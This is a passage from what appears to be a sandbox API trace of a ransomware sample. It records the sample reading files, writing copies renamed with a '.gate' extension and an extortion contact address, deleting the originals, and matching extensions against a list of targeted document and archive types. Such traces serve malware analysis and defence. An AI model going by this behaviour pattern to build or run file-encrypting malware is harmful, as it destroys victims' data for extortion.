hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43514f0 | out: hHeap=0x5b0000) returned 1 [0117.631] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a1498 | out: hHeap=0x5b0000) returned 1 [0117.632] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0117.634] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0117.636] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0119.501] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43414e8 | out: hHeap=0x5b0000) returned 1 [0119.501] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a1498 | out: hHeap=0x5b0000) returned 1 [0119.506] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a1498 | out: hHeap=0x5b0000) returned 1 [0120.279] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a1498 | out: hHeap=0x5b0000) returned 1 [0121.672] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a1498 | out: hHeap=0x5b0000) returned 1 [0124.586] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a1498 | out: hHeap=0x5b0000) returned 1 [0124.587] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4281490 | out: hHeap=0x5b0000) returned 1 [0124.753] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4291498 | out: hHeap=0x5b0000) returned 1 [0124.755] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4291498 | out: hHeap=0x5b0000) returned 1 [0124.761] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4291498 | out: hHeap=0x5b0000) returned 1 [0124.946] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4291498 | out: hHeap=0x5b0000) returned 1 [0124.946] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4281490 | out: hHeap=0x5b0000) returned 1 [0124.958] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4291498 | out: hHeap=0x5b0000) returned 1 [0124.962] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4291498 | out: hHeap=0x5b0000) returned 1 [0125.002] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4291498 | out: hHeap=0x5b0000) returned 1 [0125.019] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4291498 | out: hHeap=0x5b0000) returned 1 [0125.022] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4291498 | out: hHeap=0x5b0000) returned 1 [0125.248] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43914f8 | out: hHeap=0x5b0000) returned 1 [0125.252] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43914f8 | out: hHeap=0x5b0000) returned 1 [0125.252] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43914f8 | out: hHeap=0x5b0000) returned 1 [0125.252] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43914f8 | out: hHeap=0x5b0000) returned 1 [0125.254] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43914f8 | out: hHeap=0x5b0000) returned 1 [0125.258] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0125.260] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0125.263] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0125.266] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0125.273] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0126.462] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0126.464] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0126.466] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0126.543] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0126.545] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0126.546] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0126.548] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0126.550] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0126.551] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0126.553] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0126.555] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0126.557] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0126.565] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0126.566] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0126.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0126.570] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0126.571] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0126.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0126.882] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0126.886] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0126.888] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0126.890] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0126.892] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0127.566] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0129.134] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0129.136] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0129.138] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0129.378] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0129.379] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0129.385] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0129.387] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0129.394] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0129.395] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0129.397] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0129.398] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0129.400] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0129.402] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0129.403] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0129.405] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42a14a0 | out: hHeap=0x5b0000) returned 1 [0129.405] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4291498 | out: hHeap=0x5b0000) returned 1 [0129.405] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4281490 | out: hHeap=0x5b0000) returned 1 [0129.408] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x42e14c0 | out: hHeap=0x5b0000) returned 1 [0129.410] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4281490 | out: hHeap=0x5b0000) returned 1 [0129.412] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4281490 | out: hHeap=0x5b0000) returned 1 [0129.413] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4281490 | out: hHeap=0x5b0000) returned 1 [0129.415] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4281490 | out: hHeap=0x5b0000) returned 1 [0129.439] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x4281490 | out: hHeap=0x5b0000) returned 1 [0129.562] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43514f0 | out: hHeap=0x5b0000) returned 1 [0129.564] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43514f0 | out: hHeap=0x5b0000) returned 1 [0129.566] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43514f0 | out: hHeap=0x5b0000) returned 1 [0129.568] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43514f0 | out: hHeap=0x5b0000) returned 1 [0129.569] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43514f0 | out: hHeap=0x5b0000) returned 1 [0129.572] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43514f0 | out: hHeap=0x5b0000) returned 1 [0129.574] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43514f0 | out: hHeap=0x5b0000) returned 1 [0129.643] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43514f0 | out: hHeap=0x5b0000) returned 1 [0129.647] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43514f0 | out: hHeap=0x5b0000) returned 1 [0129.649] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43514f0 | out: hHeap=0x5b0000) returned 1 [0129.653] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43514f0 | out: hHeap=0x5b0000) returned 1 [0129.655] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43514f0 | out: hHeap=0x5b0000) returned 1 [0129.657] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43514f0 | out: hHeap=0x5b0000) returned 1 [0129.659] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43514f0 | out: hHeap=0x5b0000) returned 1 [0129.661] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43514f0 | out: hHeap=0x5b0000) returned 1 [0129.665] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43514f0 | out: hHeap=0x5b0000) returned 1 [0129.667] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43514f0 | out: hHeap=0x5b0000) returned 1 [0129.669] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43514f0 | out: hHeap=0x5b0000) returned 1 [0129.672] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43514f0 | out: hHeap=0x5b0000) returned 1 [0129.674] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43514f0 | out: hHeap=0x5b0000) returned 1 [0129.676] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43514f0 | out: hHeap=0x5b0000) returned 1 [0130.119] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43514f0 | out: hHeap=0x5b0000) returned 1 [0130.121] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43514f0 | out: hHeap=0x5b0000) returned 1 [0130.272] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x43514f0 | out: hHeap=0x5b0000) returned 1 Thread: id = 20 os_tid = 0x344 [0109.638] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10000) returned 0x3c31228 [0109.638] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10000) returned 0x3c41230 [0109.639] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x60ccf8 [0109.639] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x63d1f0 [0109.639] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x60cc08 [0109.639] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x100000) returned 0x3e07020 [0109.641] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x60cad0 [0109.641] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x60cad0, Size=0x20) returned 0x5eea70 [0109.641] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x60ca70 [0109.641] RtlReAllocateHeap (Heap=0x5b0000, Flags=0x0, Ptr=0x60ca70, Size=0x20) returned 0x5ee9d0 [0109.641] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0109.641] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0109.642] Wow64DisableWow64FsRedirection (in: OldValue=0x33aff50 | out: OldValue=0x33aff50*=0x0) returned 1 [0109.642] lstrlenW (lpString="kernel32.dll") returned 12 [0109.642] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5eea70 | out: hHeap=0x5b0000) returned 1 [0109.642] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0109.642] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5ee9d0 | out: hHeap=0x5b0000) returned 1 [0109.642] Sleep (dwMilliseconds=0x64) [0109.830] Sleep (dwMilliseconds=0x64) [0110.274] lstrcmpiW (lpString1=".ini", lpString2=".gate") returned 1 [0110.274] lstrlenW (lpString="GetCurrentRollback.ini") returned 22 [0110.274] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0110.858] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=156) returned 1 [0110.858] CloseHandle (hObject=0x338) returned 1 [0110.858] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 0x20 [0110.858] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0110.859] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0110.859] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0110.859] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0110.859] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0110.859] GetLastError () returned 0x0 [0110.859] ReadFile (in: hFile=0x338, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x9c, lpOverlapped=0x0) returned 1 [0110.882] WriteFile (in: hFile=0x33c, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0xa0, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0xa0, lpOverlapped=0x0) returned 1 [0110.883] ReadFile (in: hFile=0x338, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0110.883] WriteFile (in: hFile=0x33c, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x100, lpOverlapped=0x0) returned 1 [0110.883] SetEndOfFile (hFile=0x33c) returned 1 [0110.883] CloseHandle (hObject=0x33c) returned 1 [0110.884] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0110.884] SetEndOfFile (hFile=0x338) returned 1 [0110.885] CloseHandle (hObject=0x338) returned 1 [0110.885] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x20) returned 1 [0110.885] DeleteFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini" (normalized: "c:\\$getcurrent\\safeos\\getcurrentrollback.ini")) returned 1 [0110.885] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0110.886] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0110.886] lstrlenW (lpString=".doc") returned 4 [0110.886] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0110.886] lstrlenW (lpString=".docx") returned 5 [0110.886] lstrcmpiW (lpString1=".docx", lpString2="k.ini") returned -1 [0110.886] lstrlenW (lpString=".pdf") returned 4 [0110.886] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0110.886] lstrlenW (lpString=".xls") returned 4 [0110.886] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0110.886] lstrlenW (lpString=".xlsx") returned 5 [0110.886] lstrcmpiW (lpString1=".xlsx", lpString2="k.ini") returned -1 [0110.886] lstrlenW (lpString=".ppt") returned 4 [0110.886] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0110.886] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0110.886] lstrlenW (lpString=".zip") returned 4 [0110.886] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0110.886] lstrlenW (lpString=".rar") returned 4 [0110.886] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0110.886] lstrlenW (lpString=".bz2") returned 4 [0110.886] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0110.886] lstrlenW (lpString=".7z") returned 3 [0110.886] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0110.886] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0110.886] lstrlenW (lpString=".dbf") returned 4 [0110.886] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0110.886] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0110.887] lstrlenW (lpString=".1cd") returned 4 [0110.887] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0110.887] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0110.887] lstrlenW (lpString=".jpg") returned 4 [0110.887] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0110.887] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0110.887] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0110.887] lstrlenW (lpString=".doc") returned 4 [0110.887] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0110.887] lstrlenW (lpString=".docx") returned 5 [0110.887] lstrcmpiW (lpString1=".docx", lpString2="k.ini") returned -1 [0110.887] lstrlenW (lpString=".pdf") returned 4 [0110.887] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0110.887] lstrlenW (lpString=".xls") returned 4 [0110.887] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0110.887] lstrlenW (lpString=".xlsx") returned 5 [0110.887] lstrcmpiW (lpString1=".xlsx", lpString2="k.ini") returned -1 [0110.887] lstrlenW (lpString=".ppt") returned 4 [0110.887] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0110.887] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0110.887] lstrlenW (lpString=".zip") returned 4 [0110.887] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0110.887] lstrlenW (lpString=".rar") returned 4 [0110.887] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0110.887] lstrlenW (lpString=".bz2") returned 4 [0110.888] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0110.888] lstrlenW (lpString=".7z") returned 3 [0110.888] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0110.888] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0110.888] lstrlenW (lpString=".dbf") returned 4 [0110.888] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0110.888] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0110.888] lstrlenW (lpString=".1cd") returned 4 [0110.888] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0110.888] lstrlenW (lpString="C:\\$GetCurrent\\SafeOS\\GetCurrentRollback.ini") returned 44 [0110.888] lstrlenW (lpString=".jpg") returned 4 [0110.888] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0110.888] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0110.888] lstrlenW (lpString="LocalizedData.xml") returned 17 [0110.888] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0110.888] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x33aff14 | out: lpFileSize=0x33aff14*=80970) returned 1 [0110.889] CloseHandle (hObject=0x338) returned 1 [0110.889] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 0x80 [0110.889] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0110.889] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0110.889] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0110.889] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0110.889] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c [0110.889] GetLastError () returned 0x0 [0110.889] ReadFile (in: hFile=0x338, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x13c4a, lpOverlapped=0x0) returned 1 [0110.971] WriteFile (in: hFile=0x33c, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0x13c50, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0x13c50, lpOverlapped=0x0) returned 1 [0110.973] ReadFile (in: hFile=0x338, lpBuffer=0x3e07020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33afecc, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesRead=0x33afecc*=0x0, lpOverlapped=0x0) returned 1 [0110.973] WriteFile (in: hFile=0x33c, lpBuffer=0x3e07020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x33afc94, lpOverlapped=0x0 | out: lpBuffer=0x3e07020*, lpNumberOfBytesWritten=0x33afc94*=0xf6, lpOverlapped=0x0) returned 1 [0110.973] SetEndOfFile (hFile=0x33c) returned 1 [0110.973] CloseHandle (hObject=0x33c) returned 1 [0110.980] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec0 | out: lpNewFilePointer=0x0) returned 1 [0110.980] SetEndOfFile (hFile=0x338) returned 1 [0110.981] CloseHandle (hObject=0x338) returned 1 [0110.982] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x80) returned 1 [0110.982] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1029\\localizeddata.xml")) returned 1 [0110.982] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0110.982] lstrlenW (lpString="C:\\588bce7c90097ed212\\1029\\LocalizedData.xml") returned 44 [0110.982] lstrlenW (lpString=".doc") returned 4 [0110.982] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0110.982] lstrlenW (lpString=".docx") returned 5 [0110.982] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0110.982] lstrlenW (lpString=".pdf") returned 4 